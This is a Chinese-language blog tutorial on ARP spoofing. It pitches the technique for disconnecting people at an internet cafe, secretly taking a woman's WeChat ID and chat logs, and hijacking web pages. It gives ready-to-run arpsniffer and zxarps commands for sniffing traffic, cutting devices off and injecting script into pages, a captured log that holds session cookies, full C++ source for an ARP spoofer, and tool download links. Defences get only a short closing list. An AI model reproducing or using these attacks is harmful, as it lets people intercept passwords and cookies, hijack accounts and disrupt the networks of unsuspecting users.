使用ARP欺騙, 截取局域網中任意一臺機器的網頁請求,破解用戶名密碼等信息

  ARP欺騙的做用

  當你在網吧玩,發現有人玩LOL大吵大鬧, 用ARP欺騙把他踢下線吧javascript

  當你在咖啡廳看上某一個看書的妹紙,又很差意思開口要微信號, 用arp欺騙,不知不覺獲取到她的微信號和聊天記錄,嚇一嚇人家也是能夠的嘛;php

  當你沒啥事的時候, 想竄改局域網內的baidu的首頁, 用arp欺騙吧, 把baidu首頁跳到你想要的網頁;html

  當你想看看同一個局域網的人都在瀏覽啥玩意兒的時候, 用arp欺騙, 那就不無聊了啊;java

 

  ARP欺騙

  很早之前就接觸過局域網ARP欺騙, 一直沒去嘗試, 今天就試試,經過ARP欺騙,截獲局域網中任意一臺計算機的網絡通訊數據,很早之前網吧就有 "聚生網管", "網絡執法官", 也都是經過ARP欺騙讓局域網中的任意一臺機器斷網linux

  首先普及一下基本知識:android

  什麼是網關

首先來簡單解釋一下什麼是網關,網關工做在OSI七層模型中的傳輸層或者應用層,用於高層協議的不一樣網絡之間的鏈接,簡單地說,網關就比如是一個房間通向另外一個房間的一扇門。nginx

  ARP協議是什麼

  ARP(Address Resolution Protocol)地址轉換協議,工做在OSI模型的數據鏈路層,在以太網中,網絡設備之間互相通訊是用MAC地址而不是IP地址,ARP協議就是用來把IP地址轉換爲MAC地址的。而RARP和ARP相反,它是反向地址轉換協議,把MAC地址轉換爲IP地址。 假設A(192.168.1.2)與B(192.168.1.3)在同一局域網,A要和B實現通訊。A首先會發送一個數據包到廣播地址(192.168.1.255),該數據包中包含了源IP(A)、源MAC、目的IP(B)、目的MAC,這個數據包會被髮放給局域網中全部的主機,可是隻有B主機會回覆一個包含了源IP(B)、源MAC、目的IP(A)、目的MAC的數據包給A,同時A主機會將返回的這個地址保存在ARP緩存表中。git

  ARP 欺騙分爲兩種,一種是雙向欺騙,一種是單向欺騙:github

  單向ARP欺騙

  掐斷 A 與 B 的通信,實現原理:C 向 A 發送一條 Arp 數據包,內容爲:B 的地址是 00:00:00:00:00:00 (一個錯誤的地址),那麼 A 此後向 B 發的數據包都會發到 00,而這個地址是錯誤的,因此通信中斷了,可是要注意了,這裏只是 A –> B 中斷了,B –> A 沒有中斷,因此這個叫單向欺騙。緩存

  掐斷 B 與 A 的通信,實現原理和第一條同樣,若是和第一條一塊兒發,那麼 A 和 B 的通信就徹底中斷了,即:A <– × –> B

   嗅探 A 與 B 的通信,實現原理:C 向 A 發送一條 Arp 數據包,內容爲:B 的地址是 AA:BB:CC:DD:EE:FF (C本身的地址),也就是說,C 對 A 說:我纔是 B,因而 A 把向 B 發送的數據都發給 C 了,C 獲得數據後就能夠隨心所欲了,能夠直接丟棄,那麼通信中斷,也能夠再次轉發給 B,那麼又造成迴路,C 當了箇中間人,監視 A 和 B 的通信,此時你就能夠用CAIN等任何抓包工具進行本地嗅探了,由於目標機器數據徹底從你這你走,任意嗅探。固然你能夠不轉發全部數據,只轉發部分數據, 把某些特定協議的數據分離出來,而後單獨處理,例如替換、修改(相似 zxarp 等 Arp 工具的插入、劫持數據功能),或者乾點其餘啥,都行。

  雙向ARP欺騙

  A要跟C正常通信,B向A說我是才C。B向C說我纔是A,那麼這樣的狀況下把A跟C的ARP緩存表所有修改了。之後通信過程就是 A把數據發送給B,B在發送給C,C把數據發送B,B在把數據給A。

  攻擊主機發送ARP應答包給被攻擊主機和網關,它們分別修改其ARP緩存表爲, 修改的全是攻擊主機的MAC地址,這樣它們之間數據都被攻擊主機截獲。

  開始ARP欺騙

  咱們須要一個exe工具,ARPSniffer.exe, 這個是一個很古老的工具,下載地址是最後會給出來, 使用ARPSniffer以前,必須安裝WinpCap,已經安裝過了就不要安裝了;

  下載好了解壓, 打開命令行窗口(cmd), 定位到ARPSniffer目錄下, 執行 arpsniffer.exe , 會出現如下的命令行幫助提示:

  安裝提示的使用方法, arpsniffer的第一個參數爲網關地址, 我這兒爲:192.168.1.1, 第二個參數爲要欺騙的IP地址, IP爲:192.168.1.107, 第三個參數爲要截取數據的端口號:80, 第四個參數是要把捕獲的數據保存到指定的文件:log.txt ,一整句命令爲:

arpsniffer 192.168.1.1 192.168.1.107 80  log.txt

  此時注意力轉移到IP爲192.168.1.107的機器上, 在這臺機器上隨便打開幾個網頁;

  看到在執行命令行的那臺計算機上, 命令行窗口一直在閃,   截圖:

  截獲的log.txt文件, 內容爲:

111.13.82.76(80)->111.13.82.76(53349)
     敁p?        ?   111.13.82.76(80)->111.13.82.76(53349)
     敁p?        ?   111.13.82.76(80)->111.13.82.76(53349)
     敁p?        ?   111.13.82.76(80)->111.13.82.76(53349)
     敁p?        ?   111.13.82.76(80)->111.13.82.76(53349)
     敁p?        ?   111.13.82.76(80)->111.13.82.76(53349)
     敁p?        ?   192.168.1.109(56097)->192.168.1.109(80)
GET /wan/box/Version/WDVersionUpdate.php?version=1.1.2.2&uin=346668791&apps=1105437481_0.5.3.6 HTTP/1.1
Host: apps.game.qq.com
Accept: */*

117.144.244.45(80)->117.144.244.45(56097)
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 16 Nov 2016 06:25:01 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding

6c
鍩縶"bin":{"ret":0,"msg":"you are the latest version"},"app":[{"ret":0,"id":"1105437481"}],"ret":0,"msg":""}
0

192.168.1.109(56099)->192.168.1.109(80)
POST /cm/ReportNew.php HTTP/1.1
Referer: http://www.qq.com
User-Agent: ctgame
Host: apps.wusp.qq.com
Content-Length: 907
Cache-Control: no-cache
Cookie: pt2gguin=o0004247426; RK=6GEq2bbyFh; ptcz=e031b28dc1c3f609157085d4ef85a6c7abaa89e74fe2b9ddb2c3d2f60f054ca1; pgv_pvid=9711168810; eas_sid=01m427J7j8q9k0V6z3v8b2J1l7; ptui_loginuin=1297282063; pgv_pvi=9363555328

192.168.1.109(56099)->192.168.1.109(80)
{
    "data":
    [
        {
            "table": "MicroGBDoingEventNew",
            "iUin": "0",
            "iEventId": "50010",
            "iAction": "2800264",
            "iAppId": "4294967295",
            "vMac": "d4bed9e247df",
            "iClientVersion": "1010202",
            "iLoginWay": "4294967295",
            "vFlashVersion": "13.0.0.182",
            "vSysVersion": "6.1.7601",
            "vBrowserVersion": "9.0.8112.16421"
        },
        {
            "table": "MicroGBDoingEventNew",
            "iUin": "0",
            "iEventId": "50010",
            "iAction": "2800275",
            "iAppId": "4294967295",
            "vMac": "d4bed9e247df",
            "iClientVersion": "1010202",
            "iLoginWay": "4294967295",
            "vFlashVersion": "13.0.0.182",
            "vSysVersion": "6.1.7601",
            "vBrowserVersion": "9.0.8112.16421"
        }
    ]
}
117.135.175.161(80)->117.135.175.161(56099)
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 16 Nov 2016 06:25:02 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding

29
var ReportNew_JSON = {"ret":0,"msg":"OK"}
0
View Code

  目標機器請求的數據和收到的數據都會被我截獲, 目標機器的請求中若是有一些明文密碼, 那麼咱們就能夠...., 目標的請求cookie也能夠獲取到, 也就是說,咱們能夠繞過密碼,直接登陸網頁的後臺好比qq空間,qq郵箱, weibo啊這些地方;

  可是目前的ARP欺騙屬於單向欺騙, 咱們雖然截取目標機器的數據, 可是並無轉發, 因此目標機器瀏覽網頁的時候會卡死, 這樣很容易被發覺, 咱們繼續往下走;

  讓局域網中的任意一臺計算機或者手機斷線

  讓局域網中的任意一臺計算機或者手機斷線,前提是咱們要先知作別人手機IP或者電腦IP ,接着執行命令, 第一個參數爲本地的網關,第二個參數爲要斷網的設備,第三個參數爲 端口號爲80:

ARPSniffer 192.168.1.1 192.168.1.105 80 log.txt 

  以上的代碼只是劫持了80 端口, 還要再劫持 443端口, 從新執行一遍 :

ARPSniffer 192.168.1.1 192.168.1.105 443 log.txt 

  此時IP爲192.168.1.105的設備將會斷網, 此時這個設備能夠是一臺android手機或者iphone手機,或者電腦..等;

  

  zxarps實現雙向截取數據,並修改網頁內容

  zxarps能夠截獲服務器返回的內容,並返回個被攻擊的機器,並且這個過程當中被攻擊的機器徹底不會察覺到,文章最後會提供zxarps.exe文件地址, 要使用zxarps也須要安裝WinpCap.exe;

  下載完畢之後解壓, 一樣使用cmd(命令行窗口)定位到zxarps的目錄, 執行zxarps.exe:

  按照zxarp的文檔, 我想讓全部被攻擊的用戶在訪問任意網站的時候, 執行我給出的JS代碼, 構建出對應的命令爲:

zxarps.exe -idx 0 -ip 192.168.1.102 -p 80 -insert   "<script>alert('chenqihao, sgoyi !')</script>"

  如今只要IP爲192.168.1.102的計算機用戶訪問協議爲http的網頁, 頁面中都會彈出一條消息,經過查看網頁源代碼也能夠看到, javascript代碼被正確插入到頁面中:

  命令行提示「成功插入代碼」

  IP爲192.168.0.107的用戶登陸www.youku.com的時候頁面上出現了一個提示框, 經過查看網頁源碼,咱們也看到了攻擊者添加的JS代碼

   zxarps還有其餘的使用方式,好比捕獲用戶的網頁請求數據接收數據, 截取IP爲192.168.1.7192.168.1.105的全部網頁請求並保存起來, 構造以下的命令行:

zxarps -idx 0 -ip 192.168.1.107,192.168.1.105 -p 80 -save_a log.txt

  命令行開始閃了, 抓包開始了咯, 抓取的全部數據都會保存到log.txt中:

  ARP欺騙能夠實現局域網掛廣告, 盜取明文密碼, 偷偷刷weibo粉絲, 查看別人的聊天記錄等, 獲取局域網妹紙的微信號,qq號等, 畢竟能夠插入JavaScript代碼了, 啥事幹不了...

  有些同窗說,都是黑色窗口的命令行,我不會啊! 其實也有圖形界面的ARP欺騙工具, netfuke , 至於怎麼使用就很少作介紹了;

  arpCheat源碼解析:

    arpCheat是基於C++的代碼, 須要winpcap的相關lib, 互聯網中的arp包格式爲:

  咱們只要構造出一個請求結構體,把結構體發送給遠程計算機便可實現ARP欺騙, 提供一些代碼做爲參考:

  AppCheat.h

#ifndef MY_ARP_CHEAT_INCLUDE_H   
#define MY_ARP_CHEAT_INCLUDE_H   
  
//字節對齊必須是1   
#pragma pack (1)   
struct ethernet_head   
{   
    unsigned char dest_mac[6]; //目標主機MAC地址   
    unsigned char source_mac[6]; //源端MAC地址   
    unsigned short eh_type; //以太網類型   
};   
  
struct arp_head   
{   
    unsigned short hardware_type; //硬件類型:以太網接口類型爲1   
    unsigned short protocol_type; //協議類型:IP協議類型爲0X0800   
    unsigned char add_len; //硬件地址長度:MAC地址長度爲6B   
    unsigned char pro_len; //協議地址長度:IP地址長度爲4B   
    unsigned short option; //操做:ARP請求爲1,ARP應答爲2   
    unsigned char sour_addr[6]; //源MAC地址:發送方的MAC地址   
    unsigned long sour_ip; //源IP地址:發送方的IP地址   
    unsigned char dest_addr[6]; //目的MAC地址:ARP請求中該字段沒有意義;ARP響應中爲接收方的MAC地址   
    unsigned long dest_ip; //目的IP地址:ARP請求中爲請求解析的IP地址;ARP響應中爲接收方的IP地址  
    unsigned char padding[18];   
};   
  
struct arp_packet //最終arp包結構   
{   
    ethernet_head eth; //以太網頭部   
    arp_head arp; //arp數據包頭部   
};   
#pragma pack ()   
/**  
* 得到網卡的MAC地址  
* pDevName 網卡的設備名稱  
*/   
unsigned char* GetSelfMac(char* pDevName);   
/**  
* 封裝ARP請求包  
* source_mac 源MAC地址  
* srcIP 源IP  
* destIP 目的IP  
*/   
unsigned char* BuildArpPacket(unsigned char* source_mac,   
  
unsigned long srcIP, unsigned long destIP);   
  
#endif  
View Code

  AppCheat.cpp

#include <stdio.h>   
#include <pcap.h>   
#include <conio.h>   
#include <packet32.h>   
#include <ntddndis.h>   
#include "ArpCheat.h"   
  
int main(int argc,char* argv[]){   
    pcap_if_t *alldevs; //所有網卡列表   
    pcap_if_t *d; //一個網卡   
    int inum; //用戶選擇的網卡序號   
    int i=0; //循環變量   
    pcap_t *adhandle; //一個pcap實例   
    char errbuf[PCAP_ERRBUF_SIZE]; //錯誤緩衝區   
    unsigned char *mac; //本機MAC地址   
    unsigned char *packet; //ARP包   
    unsigned long fakeIp; //要假裝成的IP地址   
    pcap_addr_t *pAddr; //網卡地址   
    unsigned long ip; //IP地址   
    unsigned long netmask; //子網掩碼   
      
    if(argc!=2){   
        printf("Usage: %s inet_addr\n",argv[0]);   
        return -1;   
    }   
      
    //從參數列表得到要假裝的IP地址   
    fakeIp = inet_addr(argv[1]);   
    if(INADDR_NONE==fakeIp){   
        fprintf(stderr,"Invalid IP: %s\n",argv[1]);   
        return -1;   
    }   
  
    /* 得到本機網卡列表 */   
    if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)   
    {   
        fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);   
        exit(1);   
    }   
  
    /* 打印網卡列表 */   
    for(d=alldevs; d; d=d->next)   
    {   
        printf("%d", ++i);   
        if (d->description)   
            printf(". %s\n", d->description);   
        else   
            printf(". No description available\n");   
    }   
    //若是沒有發現網卡   
    if(i==0)   
    {   
        printf("\nNo interfaces found! Make sure WinPcap is installed.\n");   
        return -1;   
    }   
    //請用戶選擇一個網卡   
    printf("Enter the interface number (1-%d):",i);   
    scanf("%d", &inum);   
      
    //若是用戶選擇的網卡序號超出有效範圍,則退出   
    if(inum < 1 || inum > i)   
    {   
        printf("\nInterface number out of range.\n");   
        /* Free the device list */   
        pcap_freealldevs(alldevs);   
        return -1;   
    }   
  
  
  
  
    /* 移動指針到用戶選擇的網卡 */   
    for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);   
      
    mac = GetSelfMac(d->name+8); //+8以去掉"rpcap://"   
      
    printf("發送ARP欺騙包,本機(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 試圖假裝成%s\n",   
    mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],argv[1]);   
      
    /* 打開網卡 */   
    if ( (adhandle= pcap_open(d->name, // name of the device   
    65536, // portion of the packet to capture   
    0, //open flag   
    1000, // read timeout   
    NULL, // authentication on the remote machine   
    errbuf // error buffer   
    ) ) == NULL)   
    {   
        fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n",   
        d->name);   
        /* Free the device list */   
        pcap_freealldevs(alldevs);   
        return -1;   
    }   
  
    for(pAddr=d->addresses; pAddr; pAddr=pAddr->next){   
        //獲得用戶選擇的網卡的一個IP地址   
        ip = ((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr;   
        //獲得該IP地址對應的子網掩碼   
        netmask = ((struct sockaddr_in *)(pAddr->netmask))->sin_addr.S_un.S_addr;   
        if (!ip || !netmask){   
            continue;   
        }   
        //看看這個IP和要假裝的IP是否在同一個子網   
        if((ip&netmask)!=(fakeIp&netmask)){   
            continue; //若是不在一個子網,繼續遍歷地址列表   
        }   
  
        unsigned long netsize = ntohl(~netmask); //網絡中主機數  
        unsigned long net = ip & netmask; //子網地址   
          
        for(unsigned long n=1; n<netsize; n++){   
            //第i臺主機的IP地址,網絡字節順序   
            unsigned long destIp = net | htonl(n);   
            //構建假的ARP請求包,達到本機假裝成給定的IP地址的目的   
            packet = BuildArpPacket(mac,fakeIp,destIp);   
            if(pcap_sendpacket(adhandle, packet, 60)==-1){   
                fprintf(stderr,"pcap_sendpacket error.\n");   
            }   
        }   
      
    }   
     return 0;   
}   
/**  
* 得到網卡的MAC地址  
* pDevName 網卡的設備名稱  
*/   
unsigned char* GetSelfMac(char* pDevName){   
      
    static u_char mac[6];   
      
    memset(mac,0,sizeof(mac));   
      
    LPADAPTER lpAdapter = PacketOpenAdapter(pDevName);   
      
    if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))   
    {   
        return NULL;   
    }   
      
    PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA));   
    if (OidData == NULL)   
    {   
        PacketCloseAdapter(lpAdapter);   
        return NULL;   
    }   
    //   
    // Retrieve the adapter MAC querying the NIC driver   
    //   
    OidData->Oid = OID_802_3_CURRENT_ADDRESS;   
      
    OidData->Length = 6;   
    memset(OidData->Data, 0, 6);   
    BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData);   
    if(Status)   
    {   
        memcpy(mac,(u_char*)(OidData->Data),6);   
    }   
    free(OidData);   
    PacketCloseAdapter(lpAdapter);   
    return mac;   
  
}   
  
/**  
* 封裝ARP請求包  
* source_mac 源MAC地址  
* srcIP 源IP  
* destIP 目的IP  
*/   
unsigned char* BuildArpPacket(unsigned char* source_mac,   
unsigned long srcIP,unsigned long destIP)   
{   
    static struct arp_packet packet;   
      
    //目的MAC地址爲廣播地址,FF-FF-FF-FF-FF-FF   
    memset(packet.eth.dest_mac,0xFF,6);   
    //源MAC地址   
    memcpy(packet.eth.source_mac,source_mac,6);   
    //上層協議爲ARP協議,0x0806   
    packet.eth.eh_type = htons(0x0806);   
      
    //硬件類型,Ethernet是0x0001   
    packet.arp.hardware_type = htons(0x0001);   
    //上層協議類型,IP爲0x0800   
    packet.arp.protocol_type = htons(0x0800);   
    //硬件地址長度:MAC地址長度爲0x06   
    packet.arp.add_len = 0x06;   
    //協議地址長度:IP地址長度爲0x04   
    packet.arp.pro_len = 0x04;   
    //操做:ARP請求爲1   
    packet.arp.option = htons(0x0001);   
    //源MAC地址   
    memcpy(packet.arp.sour_addr,source_mac,6);   
    //源IP地址   
    packet.arp.sour_ip = srcIP;   
    //目的MAC地址,填充0   
    memset(packet.arp.dest_addr,0,6);   
    //目的IP地址   
    packet.arp.dest_ip = destIP;   
    //填充數據,18B   
    memset(packet.arp.padding,0,18);   
      
    return (unsigned char*)&packet;   
} 
View Code

  ARP欺騙的防範:

    1:不要隨意登陸免費的WIFI, 沒人知道免費的WIFI是否是有惡意的攻擊者在搞鬼;

    2:使用ARP綁定, 避免被ARP欺騙;

    3:開啓電腦管家或者安全衛士的ARP防火牆;

    4:使用https協議或者其餘有保密協議的鏈接訪問外網,避免被坑

  必定要注意:

  ARPSniffer和zxarp只能在window系統上運行, 目前測試環境爲WIN7旗艦版, 在別的系統上不必定能跑(個人window10 和另一臺win8就不行), winpCap也要根據你的目前的系統, 選擇32位或者64位的進行下載; 

  exe文件下載列表:

  WinpCap下載安裝:http://pan.baidu.com/s/1i48KJPz

  ARPSniffer.exe下載: http://pan.baidu.com/s/1qXUlkV6

  zxarp.exe下載地址:http://pan.baidu.com/s/1bNSetw

  arp綁定::http://blog.sina.com.cn/s/blog_54c367d401018o1w.html

  ARP欺騙參考:http://blog.csdn.net/smstong/article/details/7221184

  ARP欺騙源碼實現:http://blog.csdn.net/baggiowangyu/article/details/7081365

  WinPCap開發包:https://www.winpcap.org/devel.htm

  WinPCap:http://blog.csdn.net/tamarous/article/details/45753751

  linux和mac系統下arp欺騙參考:https://lngost.github.io/pages/articles/tech/ARP-Packet-By-c/arp-packet-by-c.html

做者: NONO
出處:http://www.cnblogs.com/diligenceday/
企業網站:http://www.idrwl.com/
開源博客:http://www.github.com/sqqihao
QQ:287101329
微信:18101055830 

相關文章
相關標籤/搜索